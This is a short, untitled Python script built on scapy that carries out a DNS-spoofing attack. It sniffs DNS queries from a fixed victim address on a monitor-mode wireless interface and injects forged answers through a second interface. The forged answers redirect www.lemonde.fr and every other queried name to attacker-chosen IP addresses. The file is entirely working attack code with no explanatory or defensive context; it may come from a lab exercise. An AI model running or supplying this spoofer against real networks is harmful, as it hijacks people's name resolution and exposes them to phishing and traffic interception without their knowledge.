---
# System prepended metadata

title: Untitled

---

```python
from scapy.all import *
from scapy.all import Ether, IP, TCP, UDP, DNS, DNSQR, DNSRR

victim_addr = '10.42.0.129'
target_addr = '4.4.4.4'
target_iface_recv='wlp0s20f3mon'
target_iface_send = 'wlxac15a2af1bf9'


def generate_fake_address(domain_name):
    print(domain_name)
    if domain_name == b'www.lemonde.fr.':
        return '188.184.21.108'
    else:
        return '1.1.1.1'


def reply(p):
    if DNS in p:
        domain_name = p[DNS].qd.qname
        redirect_addr = generate_fake_address(domain_name)
        dns = DNS(id=p[DNS].id, qr=1, rd=p[DNS].rd, ra=p[DNS].ra, qd=p[DNS].qd, an=DNSRR(
            rrname=domain_name, ttl=42, rdata=redirect_addr))
        p2 = Ether()/IP(src=p[IP].dst, dst=p[IP].src) / \
            UDP(sport=53, dport=p[UDP].sport)/dns
        sendp(p2, iface=target_iface_send)


sniff(iface=target_iface_recv, filter='src '+victim_addr+' and dst '+target_addr+' and udp port 53', prn=reply)

```